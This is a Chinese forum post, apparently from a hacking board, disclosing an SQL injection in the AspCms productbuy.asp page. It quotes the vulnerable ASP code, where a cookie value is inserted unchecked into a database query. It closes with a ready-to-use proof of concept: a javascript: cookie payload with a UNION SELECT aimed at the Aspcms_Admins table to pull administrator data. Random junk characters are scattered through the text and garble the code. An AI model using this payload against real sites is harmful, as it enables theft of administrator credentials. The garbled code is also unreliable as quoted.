好久没上土司了,上来一看发现在删号名单内.....( a% S. M! K" G- N% k+ ]
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
. k6 r* v5 x! J% y) C" A( R废话不多说,看代码:4 X0 F V' r# z* l, ]+ @8 W) o. E* ?
8 ^, |6 k4 ^) y! g) A<%+ H+ c/ n, P8 ?2 g. m* }
: n& D/ C; G' Z' |# W( D. G nif action = "buy" then+ s# k$ w" \) ?# p' B% R8 G! v
5 M- h3 l* j2 @ `. B& Q3 { addOrder()5 y# A: j! }; |+ |/ M" c
6 O+ k: t. g- ]0 g2 \
else
/ z& {2 l* F( k8 n4 j9 j
$ {7 o O4 c9 k6 G+ ~ echoContent(), H% R ?- R" Q' Q
1 X# S; {6 h1 rend if2 F+ F6 q, r3 Z/ u
# {$ K* u% U+ w5 F4 |
" [4 ^2 [! l7 |8 }) }3 B% u% k1 A# k. f3 w0 |/ k0 r
……略过
0 Y! \8 \6 g( w( h' E% i+ `! @9 q' ?2 `+ _, q" S E/ n! Q
9 Z3 k. S/ M# n/ w( v& S* I
* E6 Z6 k* m4 ^; Y0 f" GSub echoContent()
) k' t$ W& M, C
; G8 Q3 @$ Q- L! ?) o; h0 R dim id: }) W% c% I4 U T$ ?4 p
3 s0 @' l4 }0 Y$ M
id=getForm("id","get")* ~: }2 Y+ S; R
+ y. P$ f; g- J4 G& l8 f. U0 V 4 j" P7 f9 o# T0 x) X
7 b9 \) W7 c: T if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" $ J2 V }; P8 \/ [, Z; E
7 P. w" S7 O7 O0 q" A5 `/ U; D
+ M: F2 K. x; J- j, {
/ @2 H) \2 ^9 C5 I& H7 T. x dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
' e& t {# t& D6 F" n% A9 a( _3 e. i x& ~. r8 [6 @3 m6 j
dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
% f. X B# p+ S! b+ z, w7 _. r3 W' \. q: s, `5 H' Q/ y% u
Dim templatePath,tempStr
0 N5 H: i+ o1 l$ S& h1 U' _( C9 r; D
templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
7 Y9 H+ O, m: m8 D( @7 `% h$ m* x9 a0 E4 P" N$ f
! ]* t" m+ X' {$ J+ }
1 Q9 c: E9 h$ t/ j: F+ Z" g0 T set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")" a+ I, O$ X0 i. C! s1 F0 W J
. f9 n$ W5 i- s( e0 U selectproduct=rsObj(0)7 K# y- W& P8 u0 x
" f+ {2 r F! L0 V
6 b& N& n; G8 B! d$ Z1 X5 b' V5 V5 c
9 \* m+ N+ B9 H; Q
Dim linkman,gender,phone,mobile,email,qq,address,postcode) [* v% Z$ L% {, u( B
8 T n' T- d: Z/ ]5 B( J
if isnul(rCookie("loginstatus")) then wCookie"loginstatus",07 x- E! h+ b* q0 X
4 n- m; J# l' M( U& F$ U2 m if rCookie("loginstatus")=1 then
^% E! ]: I. K- \" \4 v5 _
2 s9 U- b3 e& c1 L; @4 z set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")1 ]' a8 i5 [2 {: P! _' {
6 @7 c: o2 o0 f* K
linkman=rsObj("truename")* {: b" F, Q4 _, ]% }
* G, m0 E+ ?+ w" i, r gender=rsObj("gender")
4 f0 |& ]( q E% y. o/ [7 V- t: `5 b/ F; L4 U# D3 ^! s) ~
phone=rsObj("phone")
, q# R1 S( i: S+ P% Q
! f! a6 g4 b* M& B$ H mobile=rsObj("mobile")
+ a5 g& G$ c, J9 T: U9 N* v4 ^: ?, q. J4 _# i; X3 K
email=rsObj("email")+ f) P5 ]* t, {7 c% v
1 h! {+ P1 Y) P# P0 m& L2 B. R
qq=rsObj("qq"): w" O0 ?7 P* S7 h' u
9 u( a- h$ g9 t( Q address=rsObj("address")
6 |0 O* L4 D. a5 ~$ Z1 f
7 p! m& ?* o; W [* b postcode=rsObj("postcode")
$ h# W `; @ u+ \% Q% n. f
3 T7 n' [9 M2 n1 }2 M9 } else
) b R* h7 b+ z- H8 @& P! b: d. F. k
! z: i J' C3 z% L9 } gender=1
% ?- d0 _ s" {/ [# V1 L7 q2 a4 K7 L% E% P& D; c) W; H
end if
9 g# {& o' Q& r& n* t' p$ |0 [
+ j. y+ ]6 ^ n rsObj.close()
9 m, O& N$ S) e/ }( e! f6 x1 H% v; s! G0 ]! v
+ S5 F5 Q3 t9 C& P
4 L( c# o- v k4 D with templateObj ! p9 j9 H1 j+ n6 Z
) D2 z$ k- P0 Z% }% j- J5 s
.content=loadFile(templatePath) & V! o" S, I5 p" G: p, o+ d
: X% @9 G% C% P5 O3 w9 q% }! Q .parseHtml()
- Z* y% I9 P+ E' d
! W5 _! @' E5 e( h; h .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)+ v2 ]( p/ g: E" u! C
. }; z7 k$ k2 W' {) K
.content=replaceStr(.content,"[aspcms:linkman]",linkman)
2 C# |& j$ i7 X# ~2 L1 ?* d6 ~* ^, E% W/ `& T
.content=replaceStr(.content,"[aspcms:gender]",gender)
' t9 h/ R. p8 `4 [; F) g( q, O% r( E2 Q4 x# Z. K T( ]
.content=replaceStr(.content,"[aspcms:phone]",phone) # R' ~$ j: b& C/ Y% r t1 N! d
: t2 v1 w% c5 k+ `( @: P+ d9 r
.content=replaceStr(.content,"[aspcms:mobile]",mobile)
9 O5 [1 G% \! W0 Q( H2 D
& E# s$ E4 _6 w. E .content=replaceStr(.content,"[aspcms:email]",email)
1 i. p; [5 v7 q
0 y- [! l" M* K .content=replaceStr(.content,"[aspcms:qq]",qq) # Q! F+ w, z7 g3 d1 I! p" X. D
# @5 f: Q( z8 I! A5 r. J .content=replaceStr(.content,"[aspcms:address]",address) * u8 @% G; v; D) W Y3 f7 ^
. v& M4 Y* h+ |% g
.content=replaceStr(.content,"[aspcms:postcode]",postcode) 3 N7 k4 u: t4 e* ~. |+ G) s
; A0 y: q# W% V, Q .parseCommon() , i" b1 M; {5 U2 X1 s7 m1 c4 |
( A" u! j c- B4 k9 e, S3 C. |) A6 ]
echo .content 2 d' ?( h/ B0 A- H2 Z; N3 E4 D
: w x t( V+ Z/ L0 S( Z
end with8 E; [$ n5 {% ^6 `) E
& V/ _9 P8 x! e" v& X set templateobj =nothing : terminateAllObjects% X1 l. H0 \5 r9 t8 o, {- T `
& u8 P4 X2 e- A( S
End Sub
0 ^% {/ N6 ^+ q漏洞很明显,没啥好说的: L/ E0 v- n# K1 u& a( r% P# ~$ d
poc:. Q- }/ Q7 C: o& ?- k
3 F/ y% {- A9 X2 O: w' _
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子
' h5 r: f* b/ M6 W/ v+ @$ ` S8 J' E8 W8 l/ ]
|